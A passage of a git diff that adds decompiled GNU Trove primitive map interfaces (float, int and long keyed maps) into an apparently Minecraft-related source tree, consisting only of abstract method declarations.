+  public abstract TFloatLongIterator iterator();
+  
+  public abstract boolean forEachKey(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean forEachValue(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean forEachEntry(TFloatLongProcedure paramTFloatLongProcedure);
+  
+  public abstract void transformValues(TLongFunction paramTLongFunction);
+  
+  public abstract boolean retainEntries(TFloatLongProcedure paramTFloatLongProcedure);
+  
+  public abstract boolean increment(float paramFloat);
+  
+  public abstract boolean adjustValue(float paramFloat, long paramLong);
+  
+  public abstract long adjustOrPutValue(float paramFloat, long paramLong1, long paramLong2);
+}
diff --git a/src/minecraft/gnu/trove/map/TFloatObjectMap.java b/src/minecraft/gnu/trove/map/TFloatObjectMap.java
new file mode 100644
index 0000000..2329ab4
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TFloatObjectMap.java
@@ -0,0 +1,65 @@
+package gnu.trove.map;
+
+import gnu.trove.function.TObjectFunction;
+import gnu.trove.iterator.TFloatObjectIterator;
+import gnu.trove.procedure.TFloatObjectProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import gnu.trove.set.TFloatSet;
+import java.util.Collection;
+import java.util.Map;
+
+public abstract interface TFloatObjectMap<V>
+{
+  public abstract float getNoEntryKey();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean containsKey(float paramFloat);
+  
+  public abstract boolean containsValue(Object paramObject);
+  
+  public abstract V get(float paramFloat);
+  
+  public abstract V put(float paramFloat, V paramV);
+  
+  public abstract V putIfAbsent(float paramFloat, V paramV);
+  
+  public abstract V remove(float paramFloat);
+  
+  public abstract void putAll(Map<? extends Float, ? extends V> paramMap);
+  
+  public abstract void putAll(TFloatObjectMap<V> paramTFloatObjectMap);
+  
+  public abstract void clear();
+  
+  public abstract TFloatSet keySet();
+  
+  public abstract float[] keys();
+  
+  public abstract float[] keys(float[] paramArrayOfFloat);
+  
+  public abstract Collection<V> valueCollection();
+  
+  public abstract V[] values();
+  
+  public abstract <T> T[] values(T[] paramArrayOfT);
+  
+  public abstract TFloatObjectIterator<V> iterator();
+  
+  public abstract boolean forEachKey(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean forEachValue(TObjectProcedure<V> paramTObjectProcedure);
+  
+  public abstract boolean forEachEntry(TFloatObjectProcedure<V> paramTFloatObjectProcedure);
+  
+  public abstract void transformValues(TObjectFunction<V, V> paramTObjectFunction);
+  
+  public abstract boolean retainEntries(TFloatObjectProcedure<V> paramTFloatObjectProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/map/TFloatShortMap.java b/src/minecraft/gnu/trove/map/TFloatShortMap.java
new file mode 100644
index 0000000..6a6fe8b
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TFloatShortMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TShortFunction;
+import gnu.trove.iterator.TFloatShortIterator;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.procedure.TFloatShortProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TFloatSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TFloatShortMap
+  extends Serializable
+{
+  public abstract float getNoEntryKey();
+  
+  public abstract short getNoEntryValue();
+  
+  public abstract short put(float paramFloat, short paramShort);
+  
+  public abstract short putIfAbsent(float paramFloat, short paramShort);
+  
+  public abstract void putAll(Map<? extends Float, ? extends Short> paramMap);
+  
+  public abstract void putAll(TFloatShortMap paramTFloatShortMap);
+  
+  public abstract short get(float paramFloat);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract short remove(float paramFloat);
+  
+  public abstract int size();
+  
+  public abstract TFloatSet keySet();
+  
+  public abstract float[] keys();
+  
+  public abstract float[] keys(float[] paramArrayOfFloat);
+  
+  public abstract TShortCollection valueCollection();
+  
+  public abstract short[] values();
+  
+  public abstract short[] values(short[] paramArrayOfShort);
+  
+  public abstract boolean containsValue(short paramShort);
+  
+  public abstract boolean containsKey(float paramFloat);
+  
+  public abstract TFloatShortIterator iterator();
+  
+  public abstract boolean forEachKey(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean forEachValue(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean forEachEntry(TFloatShortProcedure paramTFloatShortProcedure);
+  
+  public abstract void transformValues(TShortFunction paramTShortFunction);
+  
+  public abstract boolean retainEntries(TFloatShortProcedure paramTFloatShortProcedure);
+  
+  public abstract boolean increment(float paramFloat);
+  
+  public abstract boolean adjustValue(float paramFloat, short paramShort);
+  
+  public abstract short adjustOrPutValue(float paramFloat, short paramShort1, short paramShort2);
+}
diff --git a/src/minecraft/gnu/trove/map/TIntByteMap.java b/src/minecraft/gnu/trove/map/TIntByteMap.java
new file mode 100644
index 0000000..75c494c
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TIntByteMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.function.TByteFunction;
+import gnu.trove.iterator.TIntByteIterator;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TIntByteProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.set.TIntSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TIntByteMap
+  extends Serializable
+{
+  public abstract int getNoEntryKey();
+  
+  public abstract byte getNoEntryValue();
+  
+  public abstract byte put(int paramInt, byte paramByte);
+  
+  public abstract byte putIfAbsent(int paramInt, byte paramByte);
+  
+  public abstract void putAll(Map<? extends Integer, ? extends Byte> paramMap);
+  
+  public abstract void putAll(TIntByteMap paramTIntByteMap);
+  
+  public abstract byte get(int paramInt);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract byte remove(int paramInt);
+  
+  public abstract int size();
+  
+  public abstract TIntSet keySet();
+  
+  public abstract int[] keys();
+  
+  public abstract int[] keys(int[] paramArrayOfInt);
+  
+  public abstract TByteCollection valueCollection();
+  
+  public abstract byte[] values();
+  
+  public abstract byte[] values(byte[] paramArrayOfByte);
+  
+  public abstract boolean containsValue(byte paramByte);
+  
+  public abstract boolean containsKey(int paramInt);
+  
+  public abstract TIntByteIterator iterator();
+  
+  public abstract boolean forEachKey(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean forEachValue(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean forEachEntry(TIntByteProcedure paramTIntByteProcedure);
+  
+  public abstract void transformValues(TByteFunction paramTByteFunction);
+  
+  public abstract boolean retainEntries(TIntByteProcedure paramTIntByteProcedure);
+  
+  public abstract boolean increment(int paramInt);
+  
+  public abstract boolean adjustValue(int paramInt, byte paramByte);
+  
+  public abstract byte adjustOrPutValue(int paramInt, byte paramByte1, byte paramByte2);
+}
diff --git a/src/minecraft/gnu/trove/map/TIntCharMap.java b/src/minecraft/gnu/trove/map/TIntCharMap.java
new file mode 100644
index 0000000..4be2067
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TIntCharMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.function.TCharFunction;
+import gnu.trove.iterator.TIntCharIterator;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TIntCharProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.set.TIntSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TIntCharMap
+  extends Serializable
+{
+  public abstract int getNoEntryKey();
+  
+  public abstract char getNoEntryValue();
+  
+  public abstract char put(int paramInt, char paramChar);
+  
+  public abstract char putIfAbsent(int paramInt, char paramChar);
+  
+  public abstract void putAll(Map<? extends Integer, ? extends Character> paramMap);
+  
+  public abstract void putAll(TIntCharMap paramTIntCharMap);
+  
+  public abstract char get(int paramInt);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract char remove(int paramInt);
+  
+  public abstract int size();
+  
+  public abstract TIntSet keySet();
+  
+  public abstract int[] keys();
+  
+  public abstract int[] keys(int[] paramArrayOfInt);
+  
+  public abstract TCharCollection valueCollection();
+  
+  public abstract char[] values();
+  
+  public abstract char[] values(char[] paramArrayOfChar);
+  
+  public abstract boolean containsValue(char paramChar);
+  
+  public abstract boolean containsKey(int paramInt);
+  
+  public abstract TIntCharIterator iterator();
+  
+  public abstract boolean forEachKey(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean forEachValue(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean forEachEntry(TIntCharProcedure paramTIntCharProcedure);
+  
+  public abstract void transformValues(TCharFunction paramTCharFunction);
+  
+  public abstract boolean retainEntries(TIntCharProcedure paramTIntCharProcedure);
+  
+  public abstract boolean increment(int paramInt);
+  
+  public abstract boolean adjustValue(int paramInt, char paramChar);
+  
+  public abstract char adjustOrPutValue(int paramInt, char paramChar1, char paramChar2);
+}
diff --git a/src/minecraft/gnu/trove/map/TIntDoubleMap.java b/src/minecraft/gnu/trove/map/TIntDoubleMap.java
new file mode 100644
index 0000000..cae7fb2
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TIntDoubleMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.function.TDoubleFunction;
+import gnu.trove.iterator.TIntDoubleIterator;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TIntDoubleProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.set.TIntSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TIntDoubleMap
+  extends Serializable
+{
+  public abstract int getNoEntryKey();
+  
+  public abstract double getNoEntryValue();
+  
+  public abstract double put(int paramInt, double paramDouble);
+  
+  public abstract double putIfAbsent(int paramInt, double paramDouble);
+  
+  public abstract void putAll(Map<? extends Integer, ? extends Double> paramMap);
+  
+  public abstract void putAll(TIntDoubleMap paramTIntDoubleMap);
+  
+  public abstract double get(int paramInt);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract double remove(int paramInt);
+  
+  public abstract int size();
+  
+  public abstract TIntSet keySet();
+  
+  public abstract int[] keys();
+  
+  public abstract int[] keys(int[] paramArrayOfInt);
+  
+  public abstract TDoubleCollection valueCollection();
+  
+  public abstract double[] values();
+  
+  public abstract double[] values(double[] paramArrayOfDouble);
+  
+  public abstract boolean containsValue(double paramDouble);
+  
+  public abstract boolean containsKey(int paramInt);
+  
+  public abstract TIntDoubleIterator iterator();
+  
+  public abstract boolean forEachKey(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean forEachValue(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean forEachEntry(TIntDoubleProcedure paramTIntDoubleProcedure);
+  
+  public abstract void transformValues(TDoubleFunction paramTDoubleFunction);
+  
+  public abstract boolean retainEntries(TIntDoubleProcedure paramTIntDoubleProcedure);
+  
+  public abstract boolean increment(int paramInt);
+  
+  public abstract boolean adjustValue(int paramInt, double paramDouble);
+  
+  public abstract double adjustOrPutValue(int paramInt, double paramDouble1, double paramDouble2);
+}
diff --git a/src/minecraft/gnu/trove/map/TIntFloatMap.java b/src/minecraft/gnu/trove/map/TIntFloatMap.java
new file mode 100644
index 0000000..31603ae
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TIntFloatMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.function.TFloatFunction;
+import gnu.trove.iterator.TIntFloatIterator;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.procedure.TIntFloatProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.set.TIntSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TIntFloatMap
+  extends Serializable
+{
+  public abstract int getNoEntryKey();
+  
+  public abstract float getNoEntryValue();
+  
+  public abstract float put(int paramInt, float paramFloat);
+  
+  public abstract float putIfAbsent(int paramInt, float paramFloat);
+  
+  public abstract void putAll(Map<? extends Integer, ? extends Float> paramMap);
+  
+  public abstract void putAll(TIntFloatMap paramTIntFloatMap);
+  
+  public abstract float get(int paramInt);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract float remove(int paramInt);
+  
+  public abstract int size();
+  
+  public abstract TIntSet keySet();
+  
+  public abstract int[] keys();
+  
+  public abstract int[] keys(int[] paramArrayOfInt);
+  
+  public abstract TFloatCollection valueCollection();
+  
+  public abstract float[] values();
+  
+  public abstract float[] values(float[] paramArrayOfFloat);
+  
+  public abstract boolean containsValue(float paramFloat);
+  
+  public abstract boolean containsKey(int paramInt);
+  
+  public abstract TIntFloatIterator iterator();
+  
+  public abstract boolean forEachKey(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean forEachValue(TFloatProcedure paramTFloatProcedure);
+  
+  public abstract boolean forEachEntry(TIntFloatProcedure paramTIntFloatProcedure);
+  
+  public abstract void transformValues(TFloatFunction paramTFloatFunction);
+  
+  public abstract boolean retainEntries(TIntFloatProcedure paramTIntFloatProcedure);
+  
+  public abstract boolean increment(int paramInt);
+  
+  public abstract boolean adjustValue(int paramInt, float paramFloat);
+  
+  public abstract float adjustOrPutValue(int paramInt, float paramFloat1, float paramFloat2);
+}
diff --git a/src/minecraft/gnu/trove/map/TIntIntMap.java b/src/minecraft/gnu/trove/map/TIntIntMap.java
new file mode 100644
index 0000000..9cd9659
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TIntIntMap.java
@@ -0,0 +1,70 @@
+package gnu.trove.map;
+
+import gnu.trove.TIntCollection;
+import gnu.trove.function.TIntFunction;
+import gnu.trove.iterator.TIntIntIterator;
+import gnu.trove.procedure.TIntIntProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.set.TIntSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TIntIntMap
+  extends Serializable
+{
+  public abstract int getNoEntryKey();
+  
+  public abstract int getNoEntryValue();
+  
+  public abstract int put(int paramInt1, int paramInt2);
+  
+  public abstract int putIfAbsent(int paramInt1, int paramInt2);
+  
+  public abstract void putAll(Map<? extends Integer, ? extends Integer> paramMap);
+  
+  public abstract void putAll(TIntIntMap paramTIntIntMap);
+  
+  public abstract int get(int paramInt);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract int remove(int paramInt);
+  
+  public abstract int size();
+  
+  public abstract TIntSet keySet();
+  
+  public abstract int[] keys();
+  
+  public abstract int[] keys(int[] paramArrayOfInt);
+  
+  public abstract TIntCollection valueCollection();
+  
+  public abstract int[] values();
+  
+  public abstract int[] values(int[] paramArrayOfInt);
+  
+  public abstract boolean containsValue(int paramInt);
+  
+  public abstract boolean containsKey(int paramInt);
+  
+  public abstract TIntIntIterator iterator();
+  
+  public abstract boolean forEachKey(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean forEachValue(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean forEachEntry(TIntIntProcedure paramTIntIntProcedure);
+  
+  public abstract void transformValues(TIntFunction paramTIntFunction);
+  
+  public abstract boolean retainEntries(TIntIntProcedure paramTIntIntProcedure);
+  
+  public abstract boolean increment(int paramInt);
+  
+  public abstract boolean adjustValue(int paramInt1, int paramInt2);
+  
+  public abstract int adjustOrPutValue(int paramInt1, int paramInt2, int paramInt3);
+}
diff --git a/src/minecraft/gnu/trove/map/TIntLongMap.java b/src/minecraft/gnu/trove/map/TIntLongMap.java
new file mode 100644
index 0000000..18a62b4
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TIntLongMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TLongFunction;
+import gnu.trove.iterator.TIntLongIterator;
+import gnu.trove.procedure.TIntLongProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TIntSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TIntLongMap
+  extends Serializable
+{
+  public abstract int getNoEntryKey();
+  
+  public abstract long getNoEntryValue();
+  
+  public abstract long put(int paramInt, long paramLong);
+  
+  public abstract long putIfAbsent(int paramInt, long paramLong);
+  
+  public abstract void putAll(Map<? extends Integer, ? extends Long> paramMap);
+  
+  public abstract void putAll(TIntLongMap paramTIntLongMap);
+  
+  public abstract long get(int paramInt);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract long remove(int paramInt);
+  
+  public abstract int size();
+  
+  public abstract TIntSet keySet();
+  
+  public abstract int[] keys();
+  
+  public abstract int[] keys(int[] paramArrayOfInt);
+  
+  public abstract TLongCollection valueCollection();
+  
+  public abstract long[] values();
+  
+  public abstract long[] values(long[] paramArrayOfLong);
+  
+  public abstract boolean containsValue(long paramLong);
+  
+  public abstract boolean containsKey(int paramInt);
+  
+  public abstract TIntLongIterator iterator();
+  
+  public abstract boolean forEachKey(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean forEachValue(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean forEachEntry(TIntLongProcedure paramTIntLongProcedure);
+  
+  public abstract void transformValues(TLongFunction paramTLongFunction);
+  
+  public abstract boolean retainEntries(TIntLongProcedure paramTIntLongProcedure);
+  
+  public abstract boolean increment(int paramInt);
+  
+  public abstract boolean adjustValue(int paramInt, long paramLong);
+  
+  public abstract long adjustOrPutValue(int paramInt, long paramLong1, long paramLong2);
+}
diff --git a/src/minecraft/gnu/trove/map/TIntObjectMap.java b/src/minecraft/gnu/trove/map/TIntObjectMap.java
new file mode 100644
index 0000000..878f6ab
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TIntObjectMap.java
@@ -0,0 +1,65 @@
+package gnu.trove.map;
+
+import gnu.trove.function.TObjectFunction;
+import gnu.trove.iterator.TIntObjectIterator;
+import gnu.trove.procedure.TIntObjectProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.procedure.TObjectProcedure;
+import gnu.trove.set.TIntSet;
+import java.util.Collection;
+import java.util.Map;
+
+public abstract interface TIntObjectMap<V>
+{
+  public abstract int getNoEntryKey();
+  
+  public abstract int size();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract boolean containsKey(int paramInt);
+  
+  public abstract boolean containsValue(Object paramObject);
+  
+  public abstract V get(int paramInt);
+  
+  public abstract V put(int paramInt, V paramV);
+  
+  public abstract V putIfAbsent(int paramInt, V paramV);
+  
+  public abstract V remove(int paramInt);
+  
+  public abstract void putAll(Map<? extends Integer, ? extends V> paramMap);
+  
+  public abstract void putAll(TIntObjectMap<V> paramTIntObjectMap);
+  
+  public abstract void clear();
+  
+  public abstract TIntSet keySet();
+  
+  public abstract int[] keys();
+  
+  public abstract int[] keys(int[] paramArrayOfInt);
+  
+  public abstract Collection<V> valueCollection();
+  
+  public abstract V[] values();
+  
+  public abstract <T> T[] values(T[] paramArrayOfT);
+  
+  public abstract TIntObjectIterator<V> iterator();
+  
+  public abstract boolean forEachKey(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean forEachValue(TObjectProcedure<V> paramTObjectProcedure);
+  
+  public abstract boolean forEachEntry(TIntObjectProcedure<V> paramTIntObjectProcedure);
+  
+  public abstract void transformValues(TObjectFunction<V, V> paramTObjectFunction);
+  
+  public abstract boolean retainEntries(TIntObjectProcedure<V> paramTIntObjectProcedure);
+  
+  public abstract boolean equals(Object paramObject);
+  
+  public abstract int hashCode();
+}
diff --git a/src/minecraft/gnu/trove/map/TIntShortMap.java b/src/minecraft/gnu/trove/map/TIntShortMap.java
new file mode 100644
index 0000000..8986725
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TIntShortMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TShortFunction;
+import gnu.trove.iterator.TIntShortIterator;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.procedure.TIntShortProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TIntSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TIntShortMap
+  extends Serializable
+{
+  public abstract int getNoEntryKey();
+  
+  public abstract short getNoEntryValue();
+  
+  public abstract short put(int paramInt, short paramShort);
+  
+  public abstract short putIfAbsent(int paramInt, short paramShort);
+  
+  public abstract void putAll(Map<? extends Integer, ? extends Short> paramMap);
+  
+  public abstract void putAll(TIntShortMap paramTIntShortMap);
+  
+  public abstract short get(int paramInt);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract short remove(int paramInt);
+  
+  public abstract int size();
+  
+  public abstract TIntSet keySet();
+  
+  public abstract int[] keys();
+  
+  public abstract int[] keys(int[] paramArrayOfInt);
+  
+  public abstract TShortCollection valueCollection();
+  
+  public abstract short[] values();
+  
+  public abstract short[] values(short[] paramArrayOfShort);
+  
+  public abstract boolean containsValue(short paramShort);
+  
+  public abstract boolean containsKey(int paramInt);
+  
+  public abstract TIntShortIterator iterator();
+  
+  public abstract boolean forEachKey(TIntProcedure paramTIntProcedure);
+  
+  public abstract boolean forEachValue(TShortProcedure paramTShortProcedure);
+  
+  public abstract boolean forEachEntry(TIntShortProcedure paramTIntShortProcedure);
+  
+  public abstract void transformValues(TShortFunction paramTShortFunction);
+  
+  public abstract boolean retainEntries(TIntShortProcedure paramTIntShortProcedure);
+  
+  public abstract boolean increment(int paramInt);
+  
+  public abstract boolean adjustValue(int paramInt, short paramShort);
+  
+  public abstract short adjustOrPutValue(int paramInt, short paramShort1, short paramShort2);
+}
diff --git a/src/minecraft/gnu/trove/map/TLongByteMap.java b/src/minecraft/gnu/trove/map/TLongByteMap.java
new file mode 100644
index 0000000..e755862
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TLongByteMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.function.TByteFunction;
+import gnu.trove.iterator.TLongByteIterator;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TLongByteProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TLongSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TLongByteMap
+  extends Serializable
+{
+  public abstract long getNoEntryKey();
+  
+  public abstract byte getNoEntryValue();
+  
+  public abstract byte put(long paramLong, byte paramByte);
+  
+  public abstract byte putIfAbsent(long paramLong, byte paramByte);
+  
+  public abstract void putAll(Map<? extends Long, ? extends Byte> paramMap);
+  
+  public abstract void putAll(TLongByteMap paramTLongByteMap);
+  
+  public abstract byte get(long paramLong);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract byte remove(long paramLong);
+  
+  public abstract int size();
+  
+  public abstract TLongSet keySet();
+  
+  public abstract long[] keys();
+  
+  public abstract long[] keys(long[] paramArrayOfLong);
+  
+  public abstract TByteCollection valueCollection();
+  
+  public abstract byte[] values();
+  
+  public abstract byte[] values(byte[] paramArrayOfByte);
+  
+  public abstract boolean containsValue(byte paramByte);
+  
+  public abstract boolean containsKey(long paramLong);
+  
+  public abstract TLongByteIterator iterator();
+  
+  public abstract boolean forEachKey(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean forEachValue(TByteProcedure paramTByteProcedure);
+  
+  public abstract boolean forEachEntry(TLongByteProcedure paramTLongByteProcedure);
+  
+  public abstract void transformValues(TByteFunction paramTByteFunction);
+  
+  public abstract boolean retainEntries(TLongByteProcedure paramTLongByteProcedure);
+  
+  public abstract boolean increment(long paramLong);
+  
+  public abstract boolean adjustValue(long paramLong, byte paramByte);
+  
+  public abstract byte adjustOrPutValue(long paramLong, byte paramByte1, byte paramByte2);
+}
diff --git a/src/minecraft/gnu/trove/map/TLongCharMap.java b/src/minecraft/gnu/trove/map/TLongCharMap.java
new file mode 100644
index 0000000..c70fb5a
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TLongCharMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.function.TCharFunction;
+import gnu.trove.iterator.TLongCharIterator;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TLongCharProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TLongSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TLongCharMap
+  extends Serializable
+{
+  public abstract long getNoEntryKey();
+  
+  public abstract char getNoEntryValue();
+  
+  public abstract char put(long paramLong, char paramChar);
+  
+  public abstract char putIfAbsent(long paramLong, char paramChar);
+  
+  public abstract void putAll(Map<? extends Long, ? extends Character> paramMap);
+  
+  public abstract void putAll(TLongCharMap paramTLongCharMap);
+  
+  public abstract char get(long paramLong);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract char remove(long paramLong);
+  
+  public abstract int size();
+  
+  public abstract TLongSet keySet();
+  
+  public abstract long[] keys();
+  
+  public abstract long[] keys(long[] paramArrayOfLong);
+  
+  public abstract TCharCollection valueCollection();
+  
+  public abstract char[] values();
+  
+  public abstract char[] values(char[] paramArrayOfChar);
+  
+  public abstract boolean containsValue(char paramChar);
+  
+  public abstract boolean containsKey(long paramLong);
+  
+  public abstract TLongCharIterator iterator();
+  
+  public abstract boolean forEachKey(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean forEachValue(TCharProcedure paramTCharProcedure);
+  
+  public abstract boolean forEachEntry(TLongCharProcedure paramTLongCharProcedure);
+  
+  public abstract void transformValues(TCharFunction paramTCharFunction);
+  
+  public abstract boolean retainEntries(TLongCharProcedure paramTLongCharProcedure);
+  
+  public abstract boolean increment(long paramLong);
+  
+  public abstract boolean adjustValue(long paramLong, char paramChar);
+  
+  public abstract char adjustOrPutValue(long paramLong, char paramChar1, char paramChar2);
+}
diff --git a/src/minecraft/gnu/trove/map/TLongDoubleMap.java b/src/minecraft/gnu/trove/map/TLongDoubleMap.java
new file mode 100644
index 0000000..38649e9
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TLongDoubleMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TDoubleCollection;
+import gnu.trove.function.TDoubleFunction;
+import gnu.trove.iterator.TLongDoubleIterator;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TLongDoubleProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TLongSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TLongDoubleMap
+  extends Serializable
+{
+  public abstract long getNoEntryKey();
+  
+  public abstract double getNoEntryValue();
+  
+  public abstract double put(long paramLong, double paramDouble);
+  
+  public abstract double putIfAbsent(long paramLong, double paramDouble);
+  
+  public abstract void putAll(Map<? extends Long, ? extends Double> paramMap);
+  
+  public abstract void putAll(TLongDoubleMap paramTLongDoubleMap);
+  
+  public abstract double get(long paramLong);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract double remove(long paramLong);
+  
+  public abstract int size();
+  
+  public abstract TLongSet keySet();
+  
+  public abstract long[] keys();
+  
+  public abstract long[] keys(long[] paramArrayOfLong);
+  
+  public abstract TDoubleCollection valueCollection();
+  
+  public abstract double[] values();
+  
+  public abstract double[] values(double[] paramArrayOfDouble);
+  
+  public abstract boolean containsValue(double paramDouble);
+  
+  public abstract boolean containsKey(long paramLong);
+  
+  public abstract TLongDoubleIterator iterator();
+  
+  public abstract boolean forEachKey(TLongProcedure paramTLongProcedure);
+  
+  public abstract boolean forEachValue(TDoubleProcedure paramTDoubleProcedure);
+  
+  public abstract boolean forEachEntry(TLongDoubleProcedure paramTLongDoubleProcedure);
+  
+  public abstract void transformValues(TDoubleFunction paramTDoubleFunction);
+  
+  public abstract boolean retainEntries(TLongDoubleProcedure paramTLongDoubleProcedure);
+  
+  public abstract boolean increment(long paramLong);
+  
+  public abstract boolean adjustValue(long paramLong, double paramDouble);
+  
+  public abstract double adjustOrPutValue(long paramLong, double paramDouble1, double paramDouble2);
+}
diff --git a/src/minecraft/gnu/trove/map/TLongFloatMap.java b/src/minecraft/gnu/trove/map/TLongFloatMap.java
new file mode 100644
index 0000000..7f67c07
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/TLongFloatMap.java
@@ -0,0 +1,71 @@
+package gnu.trove.map;
+
+import gnu.trove.TFloatCollection;
+import gnu.trove.function.TFloatFunction;
+import gnu.trove.iterator.TLongFloatIterator;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.procedure.TLongFloatProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TLongSet;
+import java.io.Serializable;
+import java.util.Map;
+
+public abstract interface TLongFloatMap
+  extends Serializable
+{
+  public abstract long getNoEntryKey();
+  
+  public abstract float getNoEntryValue();
+  
+  public abstract float put(long paramLong, float paramFloat);
+  
+  public abstract float putIfAbsent(long paramLong, float paramFloat);
+  
+  public abstract void putAll(Map<? extends Long, ? extends Float> paramMap);
+  
+  public abstract void putAll(TLongFloatMap paramTLongFloatMap);
+  
+  public abstract float get(long paramLong);
+  
+  public abstract void clear();
+  
+  public abstract boolean isEmpty();
+  
+  public abstract float remove(long paramLong);
+  
+  public abstract int size();
+  
+  public abstract TLongSet keySet();
+  
+  public abstract long[] keys();
+  
+  public abstract long[] keys(long[] paramArrayOfLong);
+  
+  public abstract TFloatCollection valueCollection();
+  
